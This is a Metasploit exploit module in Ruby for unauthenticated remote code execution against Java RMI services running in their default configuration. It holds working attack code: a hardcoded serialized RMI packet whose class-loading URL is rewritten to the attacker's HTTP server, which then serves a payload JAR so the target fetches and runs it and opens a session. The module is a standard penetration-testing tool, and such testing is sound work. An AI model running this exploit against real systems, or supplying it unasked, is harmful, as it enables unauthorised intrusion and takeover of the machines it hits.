##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Java RMI Server Insecure Default Configuration Java Code Execution',
      'Description'    => %q{
          This module takes advantage of the default configuration of the RMI Registry and
        RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
        invokes a method in the RMI Distributed Garbage Collector which is available via every
        RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
        (custom) RMI endpoints as well.

          Note that it does not work against Java Management Extension (JMX) ports since those do
        not support remote class loading, unless another RMI endpoint is active in the same
        Java process.

          RMI method calls do not support or require any sort of authentication.
      },
      'Author'         => [ 'mihi' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          # RMI protocol specification
          [ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
          # Placeholder reference for matching
          [ 'MSF', 'java_rmi_server']
        ],
      'DisclosureDate' => 'Oct 15 2011',
      'Platform'       => %w{ java linux osx solaris win },
      'Privileged'     => true,
      'Payload'       => { 'BadChars' => '', 'DisableNops' => true },
      'Stance'        => Msf::Exploit::Stance::Aggressive,
      'Targets'       =>
        [
          [ 'Generic (Java Payload)',
            {
              'Platform' => ['java'],
              'Arch' => ARCH_JAVA
            }
          ],
          [ 'Windows x86 (Native Payload)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Linux x86 (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Mac OS X PPC (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_PPC,
            }
          ],
          [ 'Mac OS X x86 (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86,
            }
          ]
        ],
      'DefaultTarget' => 0
    ))
    register_options( [ Opt::RPORT(1099) ], self.class)

    register_autofilter_ports([ 1098, 1099 ])
    register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry })
  end

  def exploit
    start_service()
    connect

    jar = rand_text_alpha(rand(8)+1) + '.jar'
    old_url = "file:./rmidummy.jar"
    new_url = get_uri + '/' + jar
    packet = gen_rmi_packet
    # Java strings in serialized data are prefixed with a 2-byte, big endian length
    # (at least, as long as they are shorter than 65536 bytes)
    find_me = [old_url.length].pack("n") + old_url
    idx = packet.index(find_me)
    len = [new_url.length].pack("n")
    # Now replace it with the new url
    packet[idx, find_me.length] = len + new_url

    # write out minimal header and packet
    print_status("Connected and sending request for #{new_url}")
    #sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet);
    sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet)

    buf = ""
    1.upto(6) do
      res = sock.get_once(-1, 5) rescue nil
      break if not res
      break if session_created?
      buf << res
    end

    if buf =~ /RMI class loader disabled/
      print_error("Not exploitable: the RMI class loader is disabled")
      return
    end

    print_good("Target #{rhost}:#{rport} may be exploitable...")

    # Wait for the request to be handled
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end

  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.jar$/i
      p = regenerate_payload(cli)
      jar = p.encoded_jar
      paths = [
        [ "metasploit", "RMILoader.class" ],
        [ "metasploit", "RMIPayload.class" ],
      ]
      jar.add_files(paths, [ Msf::Config.data_directory, "java" ])

      send_response(cli, jar.pack,
      {
        'Content-Type' => 'application/java-archive',
        'Connection'   => 'close',
        'Pragma'       => 'no-cache'
      })

      print_status("Replied to request for payload JAR")
    end
  end


  def gen_rmi_packet
    "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" +
    "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" +
    "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" +
    "\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" +
    "\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" +
    "\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" +
    "\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a"
  end

  def autofilter
    return true
  end

end